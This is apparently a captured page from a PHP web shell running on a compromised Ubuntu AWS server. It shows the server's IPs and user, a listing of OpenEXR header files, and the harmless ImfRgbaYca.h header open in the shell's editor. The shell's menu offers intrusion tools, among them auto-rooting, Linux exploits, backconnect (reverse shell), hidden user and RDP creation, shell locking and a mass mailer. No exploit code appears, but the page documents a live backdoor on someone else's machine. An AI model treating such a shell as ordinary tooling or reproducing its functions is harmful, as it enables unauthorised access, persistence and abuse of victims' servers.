Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.23.101.108
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
include /
OpenEXR /
[ HOME SHELL ]
Name
Size
Permission
Action
Iex.h
2.34
KB
-rw-r--r--
IexBaseExc.h
9.06
KB
-rw-r--r--
IexErrnoExc.h
7.37
KB
-rw-r--r--
IexExport.h
2.08
KB
-rw-r--r--
IexForward.h
5.1
KB
-rw-r--r--
IexMacros.h
5.63
KB
-rw-r--r--
IexMathExc.h
2.41
KB
-rw-r--r--
IexMathFloatExc.h
4.58
KB
-rw-r--r--
IexMathFpu.h
3.3
KB
-rw-r--r--
IexMathIeeeExc.h
2.3
KB
-rw-r--r--
IexNamespace.h
4.3
KB
-rw-r--r--
IexThrowErrnoExc.h
3.4
KB
-rw-r--r--
IlmBaseConfig.h
1.64
KB
-rw-r--r--
IlmThread.h
4.78
KB
-rw-r--r--
IlmThreadExport.h
2.15
KB
-rw-r--r--
IlmThreadForward.h
2.08
KB
-rw-r--r--
IlmThreadMutex.h
4.32
KB
-rw-r--r--
IlmThreadNamespace.h
4.54
KB
-rw-r--r--
IlmThreadPool.h
5.21
KB
-rw-r--r--
IlmThreadSemaphore.h
3.38
KB
-rw-r--r--
ImathBox.h
16.62
KB
-rw-r--r--
ImathBoxAlgo.h
22.35
KB
-rw-r--r--
ImathColor.h
14.87
KB
-rw-r--r--
ImathColorAlgo.h
7.08
KB
-rw-r--r--
ImathEuler.h
22.88
KB
-rw-r--r--
ImathExc.h
2.82
KB
-rw-r--r--
ImathExport.h
2.13
KB
-rw-r--r--
ImathForward.h
2.68
KB
-rw-r--r--
ImathFrame.h
6.6
KB
-rw-r--r--
ImathFrustum.h
22.26
KB
-rw-r--r--
ImathFrustumTest.h
14.77
KB
-rw-r--r--
ImathFun.h
5.99
KB
-rw-r--r--
ImathGL.h
4.52
KB
-rw-r--r--
ImathGLU.h
2.17
KB
-rw-r--r--
ImathHalfLimits.h
2.47
KB
-rw-r--r--
ImathInt64.h
2.4
KB
-rw-r--r--
ImathInterval.h
5.34
KB
-rw-r--r--
ImathLimits.h
7.76
KB
-rw-r--r--
ImathLine.h
4.74
KB
-rw-r--r--
ImathLineAlgo.h
7.68
KB
-rw-r--r--
ImathMath.h
7.17
KB
-rw-r--r--
ImathMatrix.h
82.42
KB
-rw-r--r--
ImathMatrixAlgo.h
37.97
KB
-rw-r--r--
ImathNamespace.h
4.38
KB
-rw-r--r--
ImathPlane.h
6.75
KB
-rw-r--r--
ImathPlatform.h
3.23
KB
-rw-r--r--
ImathQuat.h
20.94
KB
-rw-r--r--
ImathRandom.h
9.84
KB
-rw-r--r--
ImathRoots.h
5.62
KB
-rw-r--r--
ImathShear.h
13.85
KB
-rw-r--r--
ImathSphere.h
4.68
KB
-rw-r--r--
ImathVec.h
44.17
KB
-rw-r--r--
ImathVecAlgo.h
4.64
KB
-rw-r--r--
ImfAcesFile.h
10.27
KB
-rw-r--r--
ImfArray.h
6.79
KB
-rw-r--r--
ImfAttribute.h
10.36
KB
-rw-r--r--
ImfB44Compressor.h
3.67
KB
-rw-r--r--
ImfBoxAttribute.h
3.1
KB
-rw-r--r--
ImfCRgbaFile.h
12.5
KB
-rw-r--r--
ImfChannelList.h
11.2
KB
-rw-r--r--
ImfChannelListAttribute.h
2.69
KB
-rw-r--r--
ImfChromaticities.h
4.45
KB
-rw-r--r--
ImfChromaticitiesAttribute.h
2.74
KB
-rw-r--r--
ImfCompositeDeepScanLine.h
5.38
KB
-rw-r--r--
ImfCompression.h
3.25
KB
-rw-r--r--
ImfCompressionAttribute.h
2.71
KB
-rw-r--r--
ImfConvert.h
3.39
KB
-rw-r--r--
ImfDeepCompositing.h
5.97
KB
-rw-r--r--
ImfDeepFrameBuffer.h
8.79
KB
-rw-r--r--
ImfDeepImageState.h
3.67
KB
-rw-r--r--
ImfDeepImageStateAttribute.h
2.64
KB
-rw-r--r--
ImfDeepScanLineInputFile.h
11.01
KB
-rw-r--r--
ImfDeepScanLineInputPart.h
6.9
KB
-rw-r--r--
ImfDeepScanLineOutputFile.h
9.37
KB
-rw-r--r--
ImfDeepScanLineOutputPart.h
6.41
KB
-rw-r--r--
ImfDeepTiledInputFile.h
16.08
KB
-rw-r--r--
ImfDeepTiledInputPart.h
13.27
KB
-rw-r--r--
ImfDeepTiledOutputFile.h
18.1
KB
-rw-r--r--
ImfDeepTiledOutputPart.h
14.83
KB
-rw-r--r--
ImfDoubleAttribute.h
2.29
KB
-rw-r--r--
ImfEnvmap.h
11.29
KB
-rw-r--r--
ImfEnvmapAttribute.h
2.67
KB
-rw-r--r--
ImfExport.h
2.11
KB
-rw-r--r--
ImfFloatAttribute.h
2.26
KB
-rw-r--r--
ImfForward.h
3.48
KB
-rw-r--r--
ImfFrameBuffer.h
11.18
KB
-rw-r--r--
ImfFramesPerSecond.h
3.79
KB
-rw-r--r--
ImfGenericInputFile.h
2.26
KB
-rw-r--r--
ImfGenericOutputFile.h
2.44
KB
-rw-r--r--
ImfHeader.h
19.27
KB
-rw-r--r--
ImfHuf.h
2.86
KB
-rw-r--r--
ImfIO.h
7.45
KB
-rw-r--r--
ImfInputFile.h
8.28
KB
-rw-r--r--
ImfInputPart.h
3.52
KB
-rw-r--r--
ImfInt64.h
2.24
KB
-rw-r--r--
ImfIntAttribute.h
2.27
KB
-rw-r--r--
ImfKeyCode.h
4.9
KB
-rw-r--r--
ImfKeyCodeAttribute.h
2.65
KB
-rw-r--r--
ImfLineOrder.h
2.42
KB
-rw-r--r--
ImfLineOrderAttribute.h
2.67
KB
-rw-r--r--
ImfLut.h
5.12
KB
-rw-r--r--
ImfMatrixAttribute.h
3.65
KB
-rw-r--r--
ImfMisc.h
16.33
KB
-rw-r--r--
ImfMultiPartInputFile.h
3.94
KB
-rw-r--r--
ImfMultiPartOutputFile.h
4.29
KB
-rw-r--r--
ImfMultiView.h
6.29
KB
-rw-r--r--
ImfName.h
3.52
KB
-rw-r--r--
ImfNamespace.h
4.46
KB
-rw-r--r--
ImfOpaqueAttribute.h
3.55
KB
-rw-r--r--
ImfOutputFile.h
9.66
KB
-rw-r--r--
ImfOutputPart.h
3.04
KB
-rw-r--r--
ImfPartHelper.h
7.66
KB
-rw-r--r--
ImfPartType.h
2.38
KB
-rw-r--r--
ImfPixelType.h
2.34
KB
-rw-r--r--
ImfPreviewImage.h
4.65
KB
-rw-r--r--
ImfPreviewImageAttribute.h
2.68
KB
-rw-r--r--
ImfRational.h
3.17
KB
-rw-r--r--
ImfRationalAttribute.h
2.63
KB
-rw-r--r--
ImfRgba.h
3.08
KB
-rw-r--r--
ImfRgbaFile.h
13.09
KB
-rw-r--r--
ImfRgbaYca.h
8.21
KB
-rw-r--r--
ImfStandardAttributes.h
13.26
KB
-rw-r--r--
ImfStringAttribute.h
2.58
KB
-rw-r--r--
ImfStringVectorAttribute.h
2.7
KB
-rw-r--r--
ImfTestFile.h
3.55
KB
-rw-r--r--
ImfThreading.h
4.24
KB
-rw-r--r--
ImfTileDescription.h
3.13
KB
-rw-r--r--
ImfTileDescriptionAttribute.h
2.7
KB
-rw-r--r--
ImfTiledInputFile.h
13.82
KB
-rw-r--r--
ImfTiledInputPart.h
4.55
KB
-rw-r--r--
ImfTiledOutputFile.h
17.83
KB
-rw-r--r--
ImfTiledOutputPart.h
4.75
KB
-rw-r--r--
ImfTiledRgbaFile.h
15.89
KB
-rw-r--r--
ImfTimeCode.h
7
KB
-rw-r--r--
ImfTimeCodeAttribute.h
2.64
KB
-rw-r--r--
ImfVecAttribute.h
4.45
KB
-rw-r--r--
ImfVersion.h
4.64
KB
-rw-r--r--
ImfWav.h
2.73
KB
-rw-r--r--
ImfXdr.h
18.74
KB
-rw-r--r--
OpenEXRConfig.h
1.8
KB
-rw-r--r--
half.h
17.22
KB
-rw-r--r--
halfExport.h
757
B
-rw-r--r--
halfFunction.h
4.83
KB
-rw-r--r--
halfLimits.h
3.73
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ImfRgbaYca.h
#ifndef INCLUDED_IMF_RGBA_YCA_H #define INCLUDED_IMF_RGBA_YCA_H ////////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2004, Industrial Light & Magic, a division of Lucasfilm // Entertainment Company Ltd. Portions contributed and copyright held by // others as indicated. All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above // copyright notice, this list of conditions and the following // disclaimer. // // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following // disclaimer in the documentation and/or other materials provided with // the distribution. // // * Neither the name of Industrial Light & Magic nor the names of // any other contributors to this software may be used to endorse or // promote products derived from this software without specific prior // written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS // IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, // THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR // PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, // EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, // PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR // PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF // LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING // NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // ////////////////////////////////////////////////////////////////////////////// //----------------------------------------------------------------------------- // // Conversion between RGBA (red, green, blue alpha) // and YCA (luminance, subsampled chroma, alpha) data: // // Luminance, Y, is computed as a weighted sum of R, G, and B: // // Y = yw.x * R + yw.y * G + yw.z * B // // Function computeYw() computes a set of RGB-to-Y weights, yw, // from a set of primary and white point chromaticities. // // Chroma, C, consists of two components, RY and BY: // // RY = (R - Y) / Y // BY = (B - Y) / Y // // For efficiency, the x and y subsampling rates for chroma are // hardwired to 2, and the chroma subsampling and reconstruction // filters are fixed 27-pixel wide windowed sinc functions. // // Starting with an image that has RGBA data for all pixels, // // RGBA RGBA RGBA RGBA ... RGBA RGBA // RGBA RGBA RGBA RGBA ... RGBA RGBA // RGBA RGBA RGBA RGBA ... RGBA RGBA // RGBA RGBA RGBA RGBA ... RGBA RGBA // ... // RGBA RGBA RGBA RGBA ... RGBA RGBA // RGBA RGBA RGBA RGBA ... RGBA RGBA // // function RGBAtoYCA() converts the pixels to YCA format: // // YCA YCA YCA YCA ... YCA YCA // YCA YCA YCA YCA ... YCA YCA // YCA YCA YCA YCA ... YCA YCA // YCA YCA YCA YCA ... YCA YCA // ... // YCA YCA YCA YCA ... YCA YCA // YCA YCA YCA YCA ... YCA YCA // // Next, decimateChomaHoriz() eliminates the chroma values from // the odd-numbered pixels in every scan line: // // YCA YA YCA YA ... YCA YA // YCA YA YCA YA ... YCA YA // YCA YA YCA YA ... YCA YA // YCA YA YCA YA ... YCA YA // ... // YCA YA YCA YA ... YCA YA // YCA YA YCA YA ... YCA YA // // decimateChromaVert() eliminates all chroma values from the // odd-numbered scan lines: // // YCA YA YCA YA ... YCA YA // YA YA YA YA ... YA YA // YCA YA YCA YA ... YCA YA // YA YA YA YA ... YA YA // ... // YCA YA YCA YA ... YCA YA // YA YA YA YA ... YA YA // // Finally, roundYCA() reduces the precision of the luminance // and chroma values so that the pixel data shrink more when // they are saved in a compressed file. // // The output of roundYCA() can be converted back to a set // of RGBA pixel data that is visually very similar to the // original RGBA image, by calling reconstructChromaHoriz(), // reconstructChromaVert(), YCAtoRGBA(), and finally // fixSaturation(). // //----------------------------------------------------------------------------- #include "ImfRgba.h" #include "ImfChromaticities.h" #include "ImfNamespace.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER namespace RgbaYca { // // Width of the chroma subsampling and reconstruction filters // static const int N = 27; static const int N2 = N / 2; // // Convert a set of primary chromaticities into a set of weighting // factors for computing a pixels's luminance, Y, from R, G and B // IMF_EXPORT IMATH_NAMESPACE::V3f computeYw (const Chromaticities &cr); // // Convert an array of n RGBA pixels, rgbaIn, to YCA (luminance/chroma/alpha): // // ycaOut[i].g = Y (rgbaIn[i]); // ycaOut[i].r = RY (rgbaIn[i]); // ycaOut[i].b = BY (rgbaIn[i]); // ycaOut[i].a = aIsValid? rgbaIn[i].a: 1 // // yw is a set of RGB-to-Y weighting factors, as computed by computeYw(). // IMF_EXPORT void RGBAtoYCA (const IMATH_NAMESPACE::V3f &yw, int n, bool aIsValid, const Rgba rgbaIn[/*n*/], Rgba ycaOut[/*n*/]); // // Perform horizontal low-pass filtering and subsampling of // the chroma channels of an array of n pixels. In order // to avoid indexing off the ends of the input array during // low-pass filtering, ycaIn must have N2 extra pixels at // both ends. Before calling decimateChromaHoriz(), the extra // pixels should be filled with copies of the first and last // "real" input pixel. // IMF_EXPORT void decimateChromaHoriz (int n, const Rgba ycaIn[/*n+N-1*/], Rgba ycaOut[/*n*/]); // // Perform vertical chroma channel low-pass filtering and subsampling. // N scan lines of input pixels are combined into a single scan line // of output pixels. // IMF_EXPORT void decimateChromaVert (int n, const Rgba * const ycaIn[N], Rgba ycaOut[/*n*/]); // // Round the luminance and chroma channels of an array of YCA // pixels that has already been filtered and subsampled. // The signifcands of the pixels' luminance and chroma values // are rounded to roundY and roundC bits respectively. // IMF_EXPORT void roundYCA (int n, unsigned int roundY, unsigned int roundC, const Rgba ycaIn[/*n*/], Rgba ycaOut[/*n*/]); // // For a scan line that has valid chroma data only for every other pixel, // reconstruct the missing chroma values. // IMF_EXPORT void reconstructChromaHoriz (int n, const Rgba ycaIn[/*n+N-1*/], Rgba ycaOut[/*n*/]); // // For a scan line that has only luminance and no valid chroma data, // reconstruct chroma from the surronding N scan lines. // IMF_EXPORT void reconstructChromaVert (int n, const Rgba * const ycaIn[N], Rgba ycaOut[/*n*/]); // // Convert an array of n YCA (luminance/chroma/alpha) pixels to RGBA. // This function is the inverse of RGBAtoYCA(). // yw is a set of RGB-to-Y weighting factors, as computed by computeYw(). // IMF_EXPORT void YCAtoRGBA (const IMATH_NAMESPACE::V3f &yw, int n, const Rgba ycaIn[/*n*/], Rgba rgbaOut[/*n*/]); // // Eliminate super-saturated pixels: // // Converting an image from RGBA to YCA, low-pass filtering chroma, // and converting the result back to RGBA can produce pixels with // super-saturated colors, where one or two of the RGB components // become zero or negative. (The low-pass and reconstruction filters // introduce some amount of ringing into the chroma components. // This can lead to negative RGB values near high-contrast edges.) // // The fixSaturation() function finds super-saturated pixels and // corrects them by desaturating their colors while maintaining // their luminance. fixSaturation() takes three adjacent input // scan lines, rgbaIn[0], rgbaIn[1], rgbaIn[2], adjusts the // saturation of rgbaIn[1], and stores the result in rgbaOut. // IMF_EXPORT void fixSaturation (const IMATH_NAMESPACE::V3f &yw, int n, const Rgba * const rgbaIn[3], Rgba rgbaOut[/*n*/]); } // namespace RgbaYca OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif
Close